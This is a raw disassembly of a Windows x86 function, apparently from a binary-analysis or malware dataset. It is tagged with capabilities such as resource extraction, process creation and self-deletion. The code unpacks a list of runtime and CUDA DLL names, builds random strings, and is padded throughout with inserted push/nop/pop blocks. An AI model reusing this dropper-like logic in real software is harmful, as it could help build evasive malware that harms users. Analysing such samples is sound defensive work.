Function at 0x4012e0
Capabilities:
Accept command line arguments
Copy file
Create directory
Create process on windows
Create thread
Delete directory
Delete file
Extract resource via kernel32 functions
Move file
Self delete
Set current directory
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5234
call fcn.00423e50
push ebx
push esi
mov dword [ebp - 0x18], 0
push 0
mov ecx, 0x461fce
call fcn.004192b0
mov byte [0x461d90], 0
mov byte [0x461d91], 0
mov byte [0x461d92], 0
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 3
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 1
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__set_abort_behavior]
add esp, 8
call fcn.00407a10
test eax, eax
je 0x401346
mov byte [0x461d93], 1
jmp 0x40134d
mov byte [0x461d93], 0
mov byte [0x461d94], 0
mov dword [0x461fd0], 0
mov dword [0x461fd4], 0
push 0x461d98
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push str.KERNEL32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0
je 0x4013c4
push 0x4274dc
mov eax, dword [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x190], eax
mov ecx, dword [ebp - 0x148]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [ebp - 0x190], 0
jne 0x4013c2
xor eax, eax
jmp 0x407931
jmp 0x4013cb
xor eax, eax
jmp 0x407931
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea ecx, [ebp - 0x13c]
call fcn.00418520
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
lea ecx, [ebp - 0x4c]
call fcn.00418800
mov dword [ebp - 0x28], 0
jmp 0x401405
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x28], edx
lea ecx, [ebp - 0x13c]
call fcn.00422b30
cmp dword [ebp - 0x28], eax
jae 0x4015e2
mov eax, dword [ebp - 0x28]
push eax
lea ecx, [ebp - 0x13c]
call fcn.004196c0
movzx ecx, word [eax]
cmp ecx, 0x22
jne 0x4014e5
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x28], edx
lea ecx, [ebp - 0x13c]
call fcn.00422b30
cmp dword [ebp - 0x28], eax
jae 0x4014e0
push 0x4274f4
lea ecx, [ebp - 0x7c0]
call fcn.00418520
lea eax, [ebp - 0x7c0]
push eax
lea ecx, [ebp - 0x4c]
call fcn.004214f0
lea ecx, [ebp - 0x7c0]
call fcn.00418e00
lea ecx, [ebp - 0x13c]
call fcn.00422b30
cmp dword [ebp - 0x28], eax
jae 0x4014e0
mov ecx, dword [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x13c]
call fcn.004196c0
movzx edx, word [eax]
cmp edx, 0x22
je 0x4014e0
mov eax, dword [ebp - 0x28]
push eax
lea ecx, [ebp - 0x13c]
call fcn.004196c0
mov cx, word [eax]
movzx edx, cx
push edx
lea ecx, [ebp - 0x4c]
call fcn.0041eaf0
mov ecx, eax
call fcn.00419a10
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
jmp 0x40147b
jmp 0x4015dd
mov ecx, dword [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x13c]
call fcn.004196c0
movzx edx, word [eax]
cmp edx, 0x20
je 0x4015dd
lea ecx, [ebp - 0x13c]
call fcn.00422b30
cmp dword [ebp - 0x28], eax
jae 0x4015dd
push 0x4274f8
lea ecx, [ebp - 0x7d8]
call fcn.00418520
lea eax, [ebp - 0x7d8]
push eax
lea ecx, [ebp - 0x4c]
call fcn.004214f0
lea ecx, [ebp - 0x7d8]
call fcn.00418e00
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
lea ecx, [ebp - 0x13c]
call fcn.00422b30
cmp dword [ebp - 0x28], eax
jae 0x4015b1
mov ecx, dword [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x13c]
call fcn.004196c0
movzx edx, word [eax]
cmp edx, 0x20
je 0x4015b1
mov eax, dword [ebp - 0x28]
push eax
lea ecx, [ebp - 0x13c]
call fcn.004196c0
mov cx, word [eax]
movzx edx, cx
push edx
lea ecx, [ebp - 0x4c]
call fcn.0041eaf0
mov ecx, eax
call fcn.00419a10
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
jmp 0x40154c
lea ecx, [ebp - 0x4c]
call fcn.0041eaf0
mov ecx, eax
call fcn.0041f390
movzx ecx, al
test ecx, ecx
je 0x4015dd
lea ecx, [ebp - 0x4c]
call fcn.00420fa0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x4013fc
push 0
call fcn.00407940
add esp, 4
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 4
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
call fcn.004147c0
test eax, eax
jne 0x401635
mov dword [ebp - 0x2fc], 0
lea ecx, [ebp - 0x4c]
call fcn.00418f70
lea ecx, [ebp - 0x13c]
call fcn.00418e00
mov eax, dword [ebp - 0x2fc]
jmp 0x407931
push 0x461dc0
mov ecx, 0x4620ec
call fcn.004195b0
push 0x4274fc
mov ecx, 0x4620ec
call fcn.004199f0
mov dword [ebp - 0x14c], 0
jmp 0x40166e
mov edx, dword [ebp - 0x14c]
add edx, 1
mov dword [ebp - 0x14c], edx
cmp dword [ebp - 0x14c], 0xc
jae 0x401690
push 0x7a
push 0x61
call fcn.004114c0
add esp, 8
push eax
mov ecx, 0x4620ec
call fcn.00419a10
jmp 0x40165f
push 0x427500
lea ecx, [ebp - 0x7f0]
call fcn.00418290
lea eax, [ebp - 0x7f0]
push eax
mov ecx, 0x46211c
call fcn.004211f0
lea ecx, [ebp - 0x7f0]
call fcn.00418dc0
push 0x427504
lea ecx, [ebp - 0x808]
call fcn.00418290
lea ecx, [ebp - 0x808]
push ecx
mov ecx, 0x46211c
call fcn.004211f0
lea ecx, [ebp - 0x808]
call fcn.00418dc0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0x427508
lea ecx, [ebp - 0x820]
call fcn.00418290
lea edx, [ebp - 0x820]
push edx
mov ecx, 0x46211c
call fcn.004211f0
lea ecx, [ebp - 0x820]
call fcn.00418dc0
push 0x427510
lea ecx, [ebp - 0x838]
call fcn.00418290
lea eax, [ebp - 0x838]
push eax
mov ecx, 0x46211c
call fcn.004211f0
lea ecx, [ebp - 0x838]
call fcn.00418dc0
push 0x427514
lea ecx, [ebp - 0x850]
call fcn.00418290
lea ecx, [ebp - 0x850]
push ecx
mov ecx, 0x46211c
call fcn.004211f0
lea ecx, [ebp - 0x850]
call fcn.00418dc0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0x427518
lea ecx, [ebp - 0x868]
call fcn.00418290
lea edx, [ebp - 0x868]
push edx
mov ecx, 0x46211c
call fcn.004211f0
lea ecx, [ebp - 0x868]
call fcn.00418dc0
push 0x42751c
lea ecx, [ebp - 0x880]
call fcn.00418290
lea eax, [ebp - 0x880]
push eax
mov ecx, 0x46211c
call fcn.004211f0
lea ecx, [ebp - 0x880]
call fcn.00418dc0
push 0x427520
lea ecx, [ebp - 0x898]
call fcn.00418290
lea ecx, [ebp - 0x898]
push ecx
mov ecx, 0x46211c
call fcn.004211f0
lea ecx, [ebp - 0x898]
call fcn.00418dc0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0x427524
lea ecx, [ebp - 0x8b0]
call fcn.00418290
lea edx, [ebp - 0x8b0]
push edx
mov ecx, 0x46211c
call fcn.004211f0
lea ecx, [ebp - 0x8b0]
call fcn.00418dc0
push 0x427528
lea ecx, [ebp - 0x8c8]
call fcn.00418290
lea eax, [ebp - 0x8c8]
push eax
mov ecx, 0x46211c
call fcn.004211f0
lea ecx, [ebp - 0x8c8]
call fcn.00418dc0
push 0x42752c
lea ecx, [ebp - 0x8e0]
call fcn.00418290
lea ecx, [ebp - 0x8e0]
push ecx
mov ecx, 0x46211c
call fcn.004211f0
lea ecx, [ebp - 0x8e0]
call fcn.00418dc0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0x427530
lea ecx, [ebp - 0x8f8]
call fcn.00418290
lea edx, [ebp - 0x8f8]
push edx
mov ecx, 0x46211c
call fcn.004211f0
lea ecx, [ebp - 0x8f8]
call fcn.00418dc0
push 0x427534
lea ecx, [ebp - 0x910]
call fcn.00418290
lea eax, [ebp - 0x910]
push eax
mov ecx, 0x46211c
call fcn.004211f0
lea ecx, [ebp - 0x910]
call fcn.00418dc0
push 0x427538
lea ecx, [ebp - 0x928]
call fcn.00418290
lea ecx, [ebp - 0x928]
push ecx
mov ecx, 0x46211c
call fcn.004211f0
lea ecx, [ebp - 0x928]
call fcn.00418dc0
push 0x42753c
lea ecx, [ebp - 0x940]
call fcn.00418290
lea edx, [ebp - 0x940]
push edx
mov ecx, 0x46211c
call fcn.004211f0
lea ecx, [ebp - 0x940]
call fcn.00418dc0
push 0x427540
lea ecx, [ebp - 0x958]
call fcn.00418290
lea eax, [ebp - 0x958]
push eax
mov ecx, 0x46211c
call fcn.004211f0
lea ecx, [ebp - 0x958]
call fcn.00418dc0
push 0x427544
lea ecx, [ebp - 0x970]
call fcn.00418290
lea ecx, [ebp - 0x970]
push ecx
mov ecx, 0x46211c
call fcn.004211f0
lea ecx, [ebp - 0x970]
call fcn.00418dc0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov dword [ebp - 0xe4], 0
jmp 0x4019dd
mov edx, dword [ebp - 0xe4]
add edx, 1
mov dword [ebp - 0xe4], edx
mov ecx, 0x46211c
call fcn.00422b80
cmp dword [ebp - 0xe4], eax
jae 0x401a0e
push str.data
mov eax, dword [ebp - 0xe4]
push eax
mov ecx, 0x46211c
call fcn.00419700
mov ecx, eax
call fcn.004199b0
jmp 0x4019ce
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov dword [ebp - 0xe8], 1
jmp 0x401a37
mov ecx, dword [ebp - 0xe8]
add ecx, 2
mov dword [ebp - 0xe8], ecx
cmp dword [ebp - 0xe8], 0x19
jae 0x401a5a
mov edx, dword [ebp - 0xe8]
movzx eax, byte [edx + section..data]
push eax
mov ecx, 0x462210
call fcn.00419990
jmp 0x401a28
lea ecx, [ebp - 0x16d]
call fcn.004178f0
push eax
lea ecx, [ebp - 0x6b8]
push ecx
mov ecx, 0x462210
call fcn.0041f400
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x6bc]
push eax
mov ecx, 0x462210
call fcn.0041eb20
mov ecx, dword [eax]
push ecx
lea ecx, [ebp - 0xac0]
call fcn.00414c50
push eax
mov ecx, 0x462104
call fcn.00419450
lea ecx, [ebp - 0xac0]
call fcn.00418e00
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0x208
push 0
lea edx, [ebp - 0x182c]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x182c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0
mov ecx, 0x46211c
call fcn.00419700
push eax
mov ecx, 0x4620e0
call fcn.00421380
push 1
mov ecx, 0x46211c
call fcn.00419700
push eax
mov ecx, 0x4620e0
call fcn.00421380
push 2
mov ecx, 0x46211c
call fcn.00419700
push eax
mov ecx, 0x4620e0
call fcn.00421380
push 3
mov ecx, 0x46211c
call fcn.00419700
push eax
mov ecx, 0x4620e0
call fcn.00421380
push 4
mov ecx, 0x46211c
call fcn.00419700
push eax
mov ecx, 0x4620e0
call fcn.00421380
push 5
mov ecx, 0x46211c
call fcn.00419700
push eax
mov ecx, 0x4620e0
call fcn.00421380
push str.msvcr100.
lea ecx, [ebp - 0x988]
call fcn.00418290
lea ecx, [ebp - 0x988]
push ecx
mov ecx, 0x4620e0
call fcn.004211f0
lea ecx, [ebp - 0x988]
call fcn.00418dc0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push str.msvcr120.
lea ecx, [ebp - 0x9a0]
call fcn.00418290
lea edx, [ebp - 0x9a0]
push edx
mov ecx, 0x4620e0
call fcn.004211f0
lea ecx, [ebp - 0x9a0]
call fcn.00418dc0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push str.msvcp140.
lea ecx, [ebp - 0x9b8]
call fcn.00418290
lea eax, [ebp - 0x9b8]
push eax
mov ecx, 0x4620e0
call fcn.004211f0
lea ecx, [ebp - 0x9b8]
call fcn.00418dc0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push str.vcruntime140.
lea ecx, [ebp - 0x9d0]
call fcn.00418290
lea ecx, [ebp - 0x9d0]
push ecx
mov ecx, 0x4620e0
call fcn.004211f0
lea ecx, [ebp - 0x9d0]
call fcn.00418dc0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push str.cudart32_55.
lea ecx, [ebp - 0x9e8]
call fcn.00418290
lea edx, [ebp - 0x9e8]
push edx
mov ecx, 0x4620e0
call fcn.004211f0
lea ecx, [ebp - 0x9e8]
call fcn.00418dc0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push str.pthreadVC2.
lea ecx, [ebp - 0xa00]
call fcn.00418290
lea eax, [ebp - 0xa00]
push eax
mov ecx, 0x4620e0
call fcn.004211f0
lea ecx, [ebp - 0xa00]
call fcn.00418dc0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push str.engine.
lea ecx, [ebp - 0xa18]
call fcn.00418290
lea ecx, [ebp - 0xa18]
push ecx
mov ecx, 0x4620e0
call fcn.004211f0
lea ecx, [ebp - 0xa18]
call fcn.00418dc0
push str.d3dx9.
lea ecx, [ebp - 0xa30]
call fcn.00418290
lea edx, [ebp - 0xa30]
push edx
mov ecx, 0x4620e0
call fcn.004211f0
lea ecx, [ebp - 0xa30]
call fcn.00418dc0
push str.concrt140.
lea ecx, [ebp - 0xa48]
call fcn.00418290
lea eax, [ebp - 0xa48]
push eax
mov ecx, 0x4620e0
call fcn.004211f0
lea ecx, [ebp - 0xa48]
call fcn.00418dc0
push str.vccorlib140.
lea ecx, [ebp - 0xa60]
call fcn.00418290
lea ecx, [ebp - 0xa60]
push ecx
mov ecx, 0x4620e0
call fcn.004211f0
lea ecx, [ebp - 0xa60]
call fcn.00418dc0
push str.opengl32.
lea ecx, [ebp - 0xa78]
call fcn.00418290
lea edx, [ebp - 0xa78]
push edx
mov ecx, 0x4620e0
call fcn.004211f0
lea ecx, [ebp - 0xa78]
call fcn.00418dc0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
lea eax, [ebp - 0x182c]
push eax
lea ecx, [ebp - 0x26c]
call fcn.00418520
mov ecx, dword [0x427a9c]
push ecx
push 0x4275f4
lea ecx, [ebp - 0x26c]
call fcn.0041f950
push eax
push 0
lea edx, [ebp - 0x2cc]
push edx
lea ecx, [ebp - 0x26c]
call fcn.00422ce0
lea ecx, [ebp - 0x2cc]
call fcn.0041ec40
push eax
call dword [ebp - 0x190]
mov dword [ebp - 0x150], 0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xec], 1
jmp 0x401e8a
mov eax, dword [ebp - 0xec]
add eax, 2
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0x19
jae 0x401ebc
mov ecx, dword [ebp - 0xec]
movsx edx, byte [ecx + section..data]
add edx, dword [ebp - 0x150]
mov dword [ebp - 0x150], edx
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x401e7b
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov dword [ebp - 0xf0], 6
jmp 0x401ee5
mov eax, dword [ebp - 0xf0]
add eax, 1
mov dword [ebp - 0xf0], eax
mov ecx, 0x4620e0
call fcn.00422b80
cmp dword [ebp - 0xf0], eax
jae 0x401f16
push 0x4275fc
mov ecx, dword [ebp - 0xf0]
push ecx
mov ecx, 0x4620e0
call fcn.00419700
mov ecx, eax
call fcn.004199b0
jmp 0x401ed6
mov dword [ebp - 0xf4], 0
jmp 0x401f31
mov edx, dword [ebp - 0xf4]
add edx, 1
mov dword [ebp - 0xf4], edx
mov eax, dword [ebp - 0xf4]
cmp eax, dword [ebp - 0x150]
jge 0x401f61
mov ecx, dword [ebp - 0xc8]
add ecx, dword [ebp - 0xf4]
mov dword [ebp - 0xc8], ecx
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x401f22
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov edx, dword [ebp - 0xc8]
push edx
lea eax, [ebp - 0x1ac]
push eax
call fcn.00422e10
add esp, 8
push 0x416ed0
lea ecx, [ebp - 0x1ac]
push ecx
mov edx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push edx
call fcn.00414d40
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x254]
call fcn.00418360
mov dword [ebp - 0xf8], 0
jmp 0x401fce
mov eax, dword [ebp - 0xf8]
add eax, 1
mov dword [ebp - 0xf8], eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jns 0x401fe0
dec eax
or eax, 0xfffffff0
inc eax
cmp dword [ebp - 0xf8], eax
jge 0x401fff
mov ecx, dword [ebp - 0xf8]
add ecx, 0x28
push ecx
lea ecx, [ebp - 0x254]
call fcn.00420ff0
jmp 0x401fbf
lea edx, [ebp - 0x1ac]
push edx
mov ecx, 0x462128
call fcn.004193c0
push str._BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmopqrstuvwxyz012345_789_
lea ecx, [ebp - 0x18c]
call fcn.00418290
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov dword [ebp - 0x64], 6
jmp 0x402040
mov eax, dword [ebp - 0x64]
add eax, 1
mov dword [ebp - 0x64], eax
mov ecx, 0x4620e0
call fcn.00422b80
cmp dword [ebp - 0x64], eax
jae 0x4020b3
mov ecx, dword [ebp - 0x64]
push ecx
mov ecx, 0x4620e0
call fcn.00419700
mov ecx, eax
call fcn.00422b10
sub eax, 1
push eax
mov edx, dword [ebp - 0x64]
push edx
mov ecx, 0x4620e0
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov byte [eax], 0x6c
mov eax, dword [ebp - 0x64]
push eax
mov ecx, 0x4620e0
call fcn.00419700
mov ecx, eax
call fcn.00422b10
sub eax, 2
push eax
mov ecx, dword [ebp - 0x64]
push ecx
mov ecx, 0x4620e0
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov byte [eax], 0x6c
jmp 0x402037
mov dword [ebp - 0x154], 0
mov dword [ebp - 0x158], 0
mov dword [ebp - 0xfc], 2
jmp 0x4020e2
mov edx, dword [ebp - 0xfc]
add edx, 2
mov dword [ebp - 0xfc], edx
cmp dword [ebp - 0xfc], 0x19
jae 0x402114
mov eax, dword [ebp - 0xfc]
movsx ecx, byte [eax + 0x4619d4]
add ecx, dword [ebp - 0x154]
mov dword [ebp - 0x154], ecx
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x4020d3
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov dword [ebp - 0x100], 0
jmp 0x40213d
mov edx, dword [ebp - 0x100]
add edx, 1
mov dword [ebp - 0x100], edx
mov eax, dword [ebp - 0x100]
cmp eax, dword [ebp - 0x154]
jge 0x40216d
mov ecx, dword [ebp - 0x158]
add ecx, dword [ebp - 0x100]
mov dword [ebp - 0x158], ecx
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x40212e
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov edx, dword [ebp - 0x158]
push edx
lea eax, [ebp - 0x23c]
push eax
call fcn.00422e10
add esp, 8
push 0x416ed0
lea ecx, [ebp - 0x23c]
push ecx
mov edx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push edx
call fcn.00414d40
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea eax, [ebp - 0x23c]
push eax
mov ecx, 0x462228
call fcn.004193c0
mov dword [ebp - 0x3c], 0
jmp 0x4021d7
mov ecx, dword [ebp - 0x3c]
add ecx, 1
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x18c]
call fcn.00422b10
cmp dword [ebp - 0x3c], eax
jae 0x4022d5
mov edx, dword [ebp - 0x3c]
push edx
lea ecx, [ebp - 0x18c]
call fcn.00419680
movsx eax, byte [eax]
cmp eax, 0x2d
jne 0x402227
mov ecx, dword [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x18c]
call fcn.00419680
mov byte [eax], 0x41
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x4022d0
mov edx, dword [ebp - 0x3c]
push edx
lea ecx, [ebp - 0x18c]
call fcn.00419680
movsx eax, byte [eax]
cmp eax, 0x2a
jne 0x402260
mov ecx, dword [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x18c]
call fcn.00419680
mov byte [eax], 0x6e
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x4022d0
mov edx, dword [ebp - 0x3c]
push edx
lea ecx, [ebp - 0x18c]
call fcn.00419680
movsx eax, byte [eax]
cmp eax, 0x40
jne 0x402299
mov ecx, dword [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x18c]
call fcn.00419680
mov byte [eax], 0x36
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x4022d0
mov edx, dword [ebp - 0x3c]
push edx
lea ecx, [ebp - 0x18c]
call fcn.00419680
movsx eax, byte [eax]
cmp eax, 0x21
jne 0x4022d0
mov ecx, dword [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x18c]
call fcn.00419680
mov byte [eax], 0x2f
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x4021ce
mov dword [ebp - 0x15c], 0
mov dword [ebp - 0x160], 0
mov dword [ebp - 0xd4], 2
jmp 0x402304
mov edx, dword [ebp - 0xd4]
add edx, 2
mov dword [ebp - 0xd4], edx
cmp dword [ebp - 0xd4], 0x19
jae 0x402336
mov eax, dword [ebp - 0xd4]
movsx ecx, byte [eax + 0x4619f0]
add ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x15c], ecx
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x4022f5
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov dword [ebp - 0xd8], 0
jmp 0x40235f
mov edx, dword [ebp - 0xd8]
add edx, 1
mov dword [ebp - 0xd8], edx
mov eax, dword [ebp - 0xd8]
cmp eax, dword [ebp - 0x15c]
jge 0x40238f
mov ecx, dword [ebp - 0x160]
add ecx, dword [ebp - 0xd8]
mov dword [ebp - 0x160], ecx
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x402350
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov edx, dword [ebp - 0x160]
push edx
lea eax, [ebp - 0x224]
push eax
call fcn.00422e10
add esp, 8
push 0x416ed0
lea ecx, [ebp - 0x224]
push ecx
mov edx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push edx
call fcn.00414d40
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea eax, [ebp - 0x224]
push eax
mov ecx, 0x461fe0
call fcn.004193c0
mov dword [ebp - 0xa8], 0
jmp 0x402402
mov ecx, dword [ebp - 0xa8]
add ecx, 1
mov dword [ebp - 0xa8], ecx
mov ecx, 0x4620e0
call fcn.00422b80
cmp dword [ebp - 0xa8], eax
jae 0x402470
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x6c0], esp
push 0x462128
call fcn.00418120
mov edx, dword [ebp - 0xa8]
push edx
mov ecx, 0x4620e0
call fcn.00419700
push eax
lea eax, [ebp - 0xad8]
push eax
call fcn.004080f0
add esp, 0x20
push eax
mov ecx, dword [ebp - 0xa8]
push ecx
mov ecx, 0x4620e0
call fcn.00419700
mov ecx, eax
call fcn.004192d0
lea ecx, [ebp - 0xad8]
call fcn.00418dc0
jmp 0x4023f3
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x6c4], esp
push 0x462128
call fcn.00418120
lea edx, [ebp - 0x18c]
push edx
lea eax, [ebp - 0xaf0]
push eax
call fcn.004080f0
add esp, 0x20
push eax
mov ecx, 0x461ff8
call fcn.004192d0
lea ecx, [ebp - 0xaf0]
call fcn.00418dc0
mov dword [ebp - 0xac], 0
jmp 0x4024cc
mov ecx, dword [ebp - 0xac]
add ecx, 1
mov dword [ebp - 0xac], ecx
mov ecx, 0x46211c
call fcn.00422b80
cmp dword [ebp - 0xac], eax
jae 0x40253a
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x6c8], esp
push 0x462128
call fcn.00418120
mov edx, dword [ebp - 0xac]
push edx
mov ecx, 0x46211c
call fcn.00419700
push eax
lea eax, [ebp - 0xb08]
push eax
call fcn.004080f0
add esp, 0x20
push eax
mov ecx, dword [ebp - 0xac]
push ecx
mov ecx, 0x46211c
call fcn.00419700
mov ecx, eax
call fcn.004192d0
lea ecx, [ebp - 0xb08]
call fcn.00418dc0
jmp 0x4024bd
lea ecx, [ebp - 0x16e]
call fcn.004178f0
push eax
lea edx, [ebp - 0x6cc]
push edx
mov ecx, 0x462128
call fcn.0041f400
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x6d0]
push ecx
mov ecx, 0x462128
call fcn.0041eb20
mov edx, dword [eax]
push edx
lea ecx, [ebp - 0x2b4]
call fcn.00414c50
mov byte [0x461d91], 0
push 0x208
push 0
lea eax, [ebp - 0x1a34]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x1a34]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [ebp - 0x1a34]
push edx
lea ecx, [ebp - 0xa90]
call fcn.00418520
lea eax, [ebp - 0xa90]
push eax
lea ecx, [ebp - 0x29c]
push ecx
call fcn.00408390
add esp, 8
lea ecx, [ebp - 0xa90]
call fcn.00418e00
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0x800
push 0
lea edx, [ebp - 0x4234]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov byte [0x461d92], 0
lea ecx, [ebp - 0x4c]
call fcn.00422bb0
cmp eax, 1
jbe 0x402a2f
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
lea eax, [ebp - 0x2b4]
push eax
push 1
lea ecx, [ebp - 0x4c]
call fcn.00419720
push eax
call fcn.004150c0
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x4027f6
lea ecx, [ebp - 0x4c]
call fcn.00422bb0
cmp eax, 3
jae 0x4026f6
mov dword [ebp - 0x300], 0
lea ecx, [ebp - 0x29c]
call fcn.00418e00
lea ecx, [ebp - 0x2b4]
call fcn.00418e00
lea ecx, [ebp - 0x224]
call fcn.00418dc0
